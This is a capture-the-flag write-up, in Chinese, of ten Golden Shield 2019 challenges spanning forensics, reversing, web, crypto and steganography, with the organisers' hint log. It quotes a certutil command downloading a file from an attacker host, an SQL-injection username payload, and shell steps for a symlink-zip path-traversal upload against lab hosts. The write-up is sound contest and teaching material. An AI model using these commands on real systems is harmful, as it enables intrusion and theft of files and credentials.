[Writeup] 2019 金盾獎

隊伍: \CSY教我/
排名: 第 1 名

各題目附件可以在這裡找到: task.zip

Game1 (300)

◎ GAME: 1
◎ 題目:
無蹤線早上打開信箱,發現單位的系統受害對外產生惡意連線,經過一個上午的確認後,發現受害的好像是前陣子請廠商建置的SCADA平台一線監控人員目前蒐集了一些log,但請透過一線監控人員提供的日誌,但因為沒有保存防火牆跟Proxy紀錄,不知道駭客去遠端下載了啥,受害的主機現在已經關掉外部存取,只能從內網存取。請透過一線監控人員提供的日誌,推敲攻擊情境後,找出駭客真正下載的東西。(受害主機Wan IP 為10.17.15.199)
◎ 提示:
WebAccess 8.3.0漏洞CVE-2018-5445 certUpdate.asp漏洞
◎ 附件: u_ex190830.log.zip

Solution (unsolved)

題目給了一份很長的 log 檔
從 log 看起來對方在掃目錄
故我們選擇先將 HTTP Status Code 為 302 / 404 / 500 的移除

$ cat u_ex190830.log | awk '!/302/' | awk '!/404/' | awk '!/500/' >> no_302_404_500.log

如此,原先的 log 從 1942050 行減少到了 8166 行
從題目給的 CVE-2018-5445 ,可以知道有 Path Traversal 的漏洞
由 log 的倒數幾行可以發現對方在利用 Path Traversal 更新 cert.cert, ../../WACert.exe
並且可能利用 certutil.exe -urlcache -split -f http://10.3.0.200/key.txt key.txt 獲得了 key.txt

然後就沒有然後了
聽說題目每 5 分鐘會架起來一次,然而我一次都沒試到

Game2 (300)

◎ GAME: 2
◎ 題目:
昨日P哥收到公司的任務,需要開發一款手機遊戲,此時P哥回想到從前Nokia時代的貪食蛇遊戲,因此就決定是這款遊戲了,如果想要成功通關這款遊戲,需要得到10萬分,即可獲取最終的Flag,那麼讓我們開始遊戲吧!
◎ 提示:
Android SDK版本建議使用4.0-4.4
◎ 附件: snake.apk

Solution

題目給了一個貪食蛇的 apk ,在經過隊友開起來玩之後,確定了這是好的
解壓縮 apk 檔後用 dex2jar 將 classes.dex 轉為 jar 檔 (包含所有 class 檔的壓縮檔)
接著就是用 Java Decompiler 打開觀察了,這邊我用的是 JD-Gui

Snake.class 裡可以發現一個叫做 winData 的變數,再加上 GamePanel.class 裡的 drawWinMessage() ,可以確定該變數就是 Flag 的內容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
private void drawWinMessage(Canvas paramCanvas)
{
String[] arrayOfString = new String[2];
int i = 0;
arrayOfString[0] = "Congratulations";
StringBuilder localStringBuilder = new StringBuilder();
localStringBuilder.append("Gold{");
localStringBuilder.append(this.snake.getWinData());
localStringBuilder.append("}");
arrayOfString[1] = localStringBuilder.toString();
int j = 3 * this.cellsDiameter / 2;
int k = this.cellsDiameter;
int m = j / 4;
int n = getHeight() / 2;
int i1 = arrayOfString.length;
while (i < arrayOfString.length)
{
this.paint.setTextSize(j);
this.paint.setColor(-16776961);
paramCanvas.drawText(arrayOfString[i], k + m, (i + 1) * j + (n - i1 * j), this.paint);
i++;
}
}

然而在繼續分析卻毫無進展的情況下,我轉而分析 so 檔
一共兩份,分別是 libgameEngine.solibgameStart.so

首先是 libgameEngine.so
可以發現有個叫 Java_com_example_sin_snake_MainActivity_GetFlag() 的 function ,看起來是在做 xor string

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
__int64 __fastcall Java_com_example_sin_snake_MainActivity_GetFlag(_JNIEnv *a1)
{
size_t v1; // rax
size_t v2; // rax
char *v4; // [rsp+20h] [rbp-20h]
int i; // [rsp+2Ch] [rbp-14h]

v1 = strlen(enc_flag);
v4 = (char *)malloc(v1 + 1);
v2 = strlen(enc_flag);
memset(v4, 0, v2 + 1);
for ( i = 0; i < strlen(enc_flag); ++i )
v4[i] = enc_flag[i] ^ 0xA;
return _JNIEnv::NewStringUTF(a1, v4);
}

將他 reverse 出來後會可以得到 is_not_flag ,顯然不是 Flag

接著是 libgameStart.so
可以發現一個名為 dec() 的 function ,看起來也是在對字串做操作,且出現了 key, encMsg, decryptedMsg 這些變數名稱
幾乎可以確定 Flag 是透過這個 function 回傳的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
unsigned __int64 dec(void)
{
void **v1; // [rsp+0h] [rbp-40h]
__int64 *v2; // [rsp+8h] [rbp-38h]
int v3; // [rsp+10h] [rbp-30h]
int v4; // [rsp+14h] [rbp-2Ch]
int v5; // [rsp+18h] [rbp-28h]
int i; // [rsp+1Ch] [rbp-24h]
void **v7; // [rsp+20h] [rbp-20h]
int v8; // [rsp+28h] [rbp-18h]
int v9; // [rsp+2Ch] [rbp-14h]
unsigned __int64 v10; // [rsp+30h] [rbp-10h]

v10 = __readfsqword(0x28u);
v9 = strlen(key);
v8 = strlen(encMsg);
v7 = &v1;
v2 = (&v1 - ((v8 + 15LL) & 0x1FFFFFFF0LL));
decryptedMsg = malloc(v8 + 1LL);
memset(decryptedMsg, 0, v8);
i = 0;
v5 = 0;
while ( i < v8 )
{
if ( v5 == v9 )
v5 = 0;
*(v2 + i++) = key[v5++];
}
for ( i = 0; i < v8; ++i )
{
v4 = *(v2 + i) - 32;
v3 = 95 - v4 + encMsg[i] - 32;
v1 = &decryptedMsg;
*(decryptedMsg + i) = v3 % 95 + 32;
}
*(decryptedMsg + v8) = 0;
return __readfsqword(0x28u);
}

一樣,將他執行一遍就可以得到 Flag 了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdio.h>
#include <string.h>

char encMsg[] = "ZA9Cv\"E";
char key[] = "abcde";

int main()
{
int key_len = strlen(key);
int enc_len = strlen(encMsg);
char v2[16], decryptedMsg[16] = {0};
int v3, v4, i;
for (i = 0; i < enc_len; i++) {
v2[i] = key[i % key_len];
}
for (i = 0; i < enc_len; i++) {
v4 = v2[i] - 32;
v3 = 95 - v4 + encMsg[i] - 32;
decryptedMsg[i] = v3 % 95 + 32;
}
printf("%s\n", decryptedMsg);
return 0;
}

Flag Gold{x^U^1@b}

Game3 (300)

◎ GAME: 3
◎ 題目:
金盾股份有限公司請你來做網站的滲透測試。 IP:https://10.17.15.239

Solution

這是一題 Web 題,然而當初沒有截圖,所以只會用文字描述解題流程而已

連結一進去是一個登入頁面,在經過多次嘗試仍登入不了後,隊友戳到了在 http (maybe port 80) 頁面有一個殘留的登入畫面
發現在對欄位 SQLI 後,會噴 guest / guest2019 這組帳號給你,並且告訴你 column name 有 Sn, UserID, UserPass

在確認過 Bool-based SQLI 可行後,我寫了一個腳本嘗試爆出 Sn 為 0 的 UserID 以及 UserPass
然而看起來不管如何嘗試,他噴的永遠都是 guest / guest2019

後來發現在 http 登入後再進入 https ,登入的 session 仍然存在
接著就可以嘗試找 Flag 了

稍微提一下 Navbar 的 layout
Navbar 上有 5 個 Dropdown list 以及 1 個 Logout 的按鈕
Dropdown list 內的連結格式從左而右是 A ~ E ,從上而下依序從 1 開始編號
舉個例子: Navbar 上第二個 Dropdown list 的第三個選項是 B-3.aspx

看了一下所有連結的網址,發現第三個 Dropdown list 本應要有的 1 ~ 5 中唯獨缺少了 C-3.aspx 這個網址
於是我們直接訪問 C-3.aspx ,發現跳出了一個 alert 視窗並在你按下確認後將你導回首頁
在看過 Request History 後,發現 C-3.aspx 內其實有一個連結,按下去會導到 C3.aspx
我們接著訪問 C3.aspx ,一樣跳出了一個 alert 視窗,並將你導到首頁
不過 Flag 其實就在畫面中了,不用理 alert 的視窗也可以看得到

Flag Gold{God shuts a door and will open another window for you.}

Game4 (100)

◎ GAME: 4
◎ 題目:
某公司已經成立逾20年,公司累積了不少專利資料;但公司的網路管理者,一直使用未加密協定TELNET連線到網路設備的管理介面(IP:10.17.0.10)。 商業間諜小明為了竊取該公司的機密,偷偷盜錄了一段網路管理者登錄設備的封包檔,並嘗試破解該公司路由設備。
◎ 提示:
透過封包解析找出可登入設備的一般使用者帳密,再以Cisco Cracker取得ENABLE密碼(Flag即為ENABLE密碼)。
◎ 附件: 封包檔.pcap

Solution

將 pcap 檔用 wireshark 打開,直接對任意一個 TCP 或 TELNET 的封包右鍵選 Follow > TCP Stream
可以看到 enable password 7 07282E404A434B55464B
根據題目提示,用 Cisco Cracker 取得密碼就是 Flag 了

Flag Gold*2019

Game5 (100)

◎ GAME: 5
◎ 題目:
雄心壯志的阿翔,創立了天翔企業社。成立初期,只有少少幾位員工,且因經費有限,資訊服務都先運作在同台主機上。(IP:10.17.15.237) 嘗試去找找你感興趣的東西吧~
◎ 提示:
請下載附件之提示文字檔
◎ 附件: hint.txt

Solution (unsolved)

這是一題 Web 題,然而當初沒有截圖,所以只會用文字描述解題流程而已

這題他給了幾個提示

  1. Flag @「C:\OAShare\03.Dept.ofHumanResource\Gold.txt」
  2. $sql = "SELECT id, title, note FROM posts WHERE username='" . $username ."'"
    可以利用aspx的webshell操作主機~~
  3. 系統管理員有建立測試站台和FTP帳號給Allen。不過Allen方便行事,將帳密留在線上記事(Title is tmp)。

進入網頁後是一個登入頁面,下方有註冊頁面的連結
註冊完帳號登入後是一個類似記事本功能的網站
可以添加 Note ,欄位有 title 以及 note
大致上是這樣

在 Hint 3 出來後,我們嘗試對註冊頁面 SQLI
根據 Hint 2 ,我們將帳號名稱設為 Allen' and title = 'tmp
用這隻帳號登入後,果不其然的出現了 title 為 tmp 的 note
內文寫著 Allen / letmerich!1122

在用該組帳號無法登入該網站的情況下,隊友 nmap 掃了該主機,發現 ftp 的 port 是開著的
於是就拿該帳號登入了 ftp
裡面放著兩份 txt 檔
內容分別是 test111 以及 cE4Jxx^ejk

接著我們還發現了 telnet 的 port 開著,然而兩組帳號都進不去
所以這題就被丟著了,因為做不下去了

Game6 (200)

◎ GAME: 6
◎ 題目:
怪盜亞森羅蘋歷經千辛萬苦,終於在跟福爾摩斯的鬥智中佔了上風,成功從羅浮宮中取得蒙娜麗莎的微笑,接下來要解出隱藏在畫內多年的秘密…
◎ 附件: Mona_Lisa.jpg

Solution (unsolved)

題目給的 jpg 後藏了一個有加密的 zip 檔
而原 jpg 的右下角寫了一段文字

The sum of my birth year and the creation year of the painting, coded by Base64, is the key to reveal secret.

將達文西出生的年份以及蒙娜麗莎這幅畫被繪製的年份加起來可以得到 1502 + 1452 = 2954
用 base64 後得到的 Mjk1NA== 將加密的 zip 檔解壓縮後會再得到兩份檔案,分別是 Note.txt 以及 Mona Lisa.crypto

Note.txt:

Dear Mr. Lupin,

I have encrypted the file so you would not get the secret so quickly! You know I don't like to memorize the password, so if you know where I live, you might be able to figure it out!

Good Luck!

Holmes

現在還在嘗試到底怎麼弄那個 .crypto 檔
加密方式什麼的也沒給…

Game7 (100)

◎ GAME: 7
◎ 題目:
皮卡丘似乎在尋找一些隱藏的檔案,相信只要找到它們並且破解其中的密文,就能得到最後的解答。
◎ 附件: PikaPika.jpg

Solution

binwalk 一下可以發現裡面其實藏了 zip 檔

$ binwalk PikaPika.jpg

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
69769 0x11089 Zip archive data, at least v2.0 to extract, compressed size: 18206, uncompressed size: 18222, name: Gold.zip
88013 0x157CD Zip archive data, at least v2.0 to extract, compressed size: 194, uncompressed size: 293, name: key.txt
88423 0x15967 End of Zip archive

將他 foremost 出來

$ foremost PikaPika.jpg
Processing: PikaPika.jpg
|foundat=Gold.zip
foundat=key.txt
*|

$ cd output
$ tree
.
├── audit.txt
├── jpg
│   └── 00000000.jpg
└── zip
└── 00000136.zip

2 directories, 3 files

接著把 zip 解壓縮可以得到另一個加密的 zip 以及一份 txt

$ unzip 00000136.zip
Archive: 00000136.zip
inflating: Gold.zip
inflating: key.txt

key.txt:

Never give up,
Never lose hope.
Always have faith,
It allows you to cope.
ywdnsl ynrjx bnqq ufxx,
fx ymjd fqbfdx it.
ozxy mfaj ufynjshj,
dtzw iwjfrx bnqq htrj ywzj.
xt uzy ts f xrnqj,
dtz'qq qnaj ymwtzlm dtzw ufns.
pstb ny bnqq ufxx,
fsi xywjslym dtz bnqq lfns
pjd{gwtpjsymjxmnjqi}

搜尋了一下前幾句後可以得到原文,發現 key.txt 裡的文字經過凱薩加密了
將最後一句解密可以得到 key{brokentheshield}
brokentheshieldGold.zip 解壓縮可以得到一張 jpg
上面寫的就是 Flag 了

Flag Gold{HaVe A Good Day!!}

Game8 (200)

◎ GAME: 8
◎ 題目:
悟毛是個網路言論審查員,今天接獲線民舉報,某網站疑似掌握了元首不可告人的秘密,請在秘密被外洩前幫悟毛找出這個秘密吧。 IP:10.17.15.246

Solution

這是一題 Web 題,然而當初沒有截圖,所以只會用文字描述解題流程而已

進去該網頁後發現什麼功能都沒有, F12 後發現有 /upload.php 這個路徑,且前端提示了 Flag 在 ../../flag.txt
進到 /upload.php 頁面,你可以 upload zip 檔,他會幫你解壓縮並把裡面的檔案內容印出來
這時隊友提出了 soft link (symbolic link) 的想法,果不其然,弄完上傳後 Flag 就出來了
詳細過程如下

$ ln -s ../../flag.txt
$ ls -l
total 0
lrwxr-xr-x 1 root root 14 Nov 16 22:42 flag.txt -> ../../flag.txt
$ zip flag.zip flag.txt
$ unzip -v flag.zip
Archive: flag.zip
Length Method Size Cmpr Date Time CRC-32 Name
-------- ------ ------- ---- ---------- ----- -------- ----
10 Stored 10 0% 2019-11-16 22:41 2c9b55cd flag.txt
-------- ------- --- -------
10 10 0% 1 file

接著把 flag.zip 上傳就可以了

Flag Gold{winniecute}

Game9 (200)

◎ GAME: 9
◎ 題目:
刑警小明竊取了兩位毒梟的往來書信,其中一封信件(Mail.zip)內容隱藏著下次交易地點,請問小明需至哪個地方部屬警力?
◎ 提示:
「數位信封」包含已加密之信件內容(主文.txt)及已加密之對稱金鑰(AES_KEY_C.txt),其中非對稱式加密使用RSA (密文為10進位之數字)而對稱式加密使用AES
◎ 附件: 相關檔案.zip

Solution (unsolved)

將題目給的檔案解壓縮後會得到 Public_Key.txt, MAIL.zip 以及有加密的 AES Info.zip
在看到 Public Key 的 $e$ 是 3 後,先嘗試對 $\text{ciphertext}$ 開三次方根

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from Crypto.Util.number import *

N = 154518298668716371578353222859813682579096627020171796189384418938128518391357010074147073612426601607265164259821576178883940815640708798990945171167763327982397825673237109933584558367406041969577580147942041861627242256270164656637910812342717451536393
e = 3
ct = 411092777495821740026979643787480299929625816950020309816

def cube_root(n):
l, r = 0, n
while l < r:
m = (l + r) >> 1
if m * m * m < n:
l = m + 1
else:
r = m
return l

cb_rt = cube_root(ct)
assert(cb_rt ** 3 == ct)
pt = long_to_bytes(cb_rt)
print(pt)

得到 g0d1en_n
然而得到這個你不能幹嘛,因為 AES Info.zip 的密碼是他的 hex string
67306431656e5f6eAES Info.zip 解壓縮後可以得到 AES加密參數.txt
裡面寫著 AES(Mode:CBC,Padding:zeropadding, IV=AES key)

然而到現在我還是不知道該怎麼用他給的這些條件解密
所以就沒有然後了

Game10 (200)

◎ GAME: 10
◎ 題目:
某天linux愛好者阿光從網路上獲得了一份文件與執行檔,文件上寫著”秘密藏在字串裡”。來幫助阿光找出秘密吧!
◎ 提示:
◎ 附件: Secret

Solution

題目給的程式在幹嘛說實在的我沒看
畢竟我一開 IDA 就看到 main() 下面的 secret()
點進去 secret() 看,果然只是簡單的 Reverse 題

解法 I

secret() 內在做的事弄出來,自己做一遍

1
2
3
flag = [-63, -24, 63, 51, -29, 94, 61, -14, 127, -38, -108, -111, -15, -106, -38, -31, -75, -23, 52, 35, -96, 66, 101, -89, 67, -59, -93, -128, -58, -54, -21, -35, -13, -13, 12, 62, -21, 66, 35, -14, 110, -56, -108, -116, -12, -125, -75, -33, -14, -74, 61, 35, -87, 66, 18, -15, 44, -43, -108, -44, -52, -112, -18, -48, -122]
key = [0x86, 0x87, 0x53, 0x57, 0x98, 0x1D, 0x55, 0x0C1, 0x1C, 0x0B1, 0x0CB, 0x0E5, 0x99, 0x0F3, 0x85, 0x0AD]
print(''.join(chr((flag[i] & 0xff) ^ (key[i % len(key)] & 0xff)) for i in range(len(flag))))

解法 II

用 GDB 將 rip 設為 secret() ,讓程式直接執行 secret()
具體步驟如下:

gdb-peda$ b main # set breakpoint at main()
gdb-peda$ r # start the program
gdb-peda$ set $rip = 0x4009d1 # set rip to the address of secret()
gdb-peda$ b *0x0000000000400b6b # set breakpoint right before secret() return
gdb-peda$ c # continue the program
gdb-peda$ x $rsp + 16 # print the result

Flag Gold{Ch3ck_the_L3ngt8_0f_the_9nput_is_v3ry_imp0rt1nt1_G00d_1Uck}

The Announcements

2019/11/15 15:59:48
(第八題提示) 試著做一個symbolic link吧!

2019/11/15 15:47:18
(第五題提示-3)系統管理員有建立測試站台和FTP帳號給Allen。不過Allen方便行事,將帳密留在線上記事(Title is tmp)。

2019/11/15 15:08:23
(第六題提示-2)福爾摩斯喜歡用自己門牌號碼的BASE64編碼當密碼…

2019/11/15 14:48:24
(第九題提示)AES加密參數可利用對稱式金鑰解壓縮取得

2019/11/15 14:38:01
(第一題提示)分析人員說憑證上傳certUpdate.asp好像有 CVE-2018-5445 RCE漏洞

2019/11/15 14:34:58
(第二題提示)Flag在gameStart.so裡面

2019/11/15 14:31:36
(第六題提示-1) 畫作右下方似乎有一些文字…

2019/11/15 14:28:29
(第九題提示)最後地點為字串格式,flag格式非為GOLD{XXX}

2019/11/15 13:56:18
(第三題提示)不需要用工具狂掃描

2019/11/15 13:45:54
(第五題提示-2)提示文字檔放置於 ftp://10.17.15.198/5/

2019/11/15 13:41:25
(第八題提示) ‘Link’ to Target.

2019/11/15 13:09:34
第二階段開放其餘題目

2019/11/15 12:57:00
(第二題提示)Method reflect 、Field reflect

2019/11/15 12:45:14
(第五題提示-1)帳號欄位含有SQL injection弱點,若你想註冊的帳號已存在,可以加些元素來變化~

2019/11/15 12:42:36
(第四題提示-1)請連線至FTP:10.17.15.198/4/封包檔(new).pcap 抓取更新的封包檔

2019/11/15 12:31:49
(第二題提示)程式有偵測Frida、Cydia Substrate防護,需要繞過防護就能使用這些工具

2019/11/15 12:30:12
Game4 設備連練異常,目前正在處理中

2019/11/15 12:27:06
(第三題提示)https ?

2019/11/15 12:20:09
(第一題提示)分析人員說有問題的頁面好像是一個憑證上傳的頁面(certxxx.asp)

2019/11/15 12:17:33
(第二題提示)程式有Anti-debug的防護

2019/11/15 11:29:08
第一階段 開放5題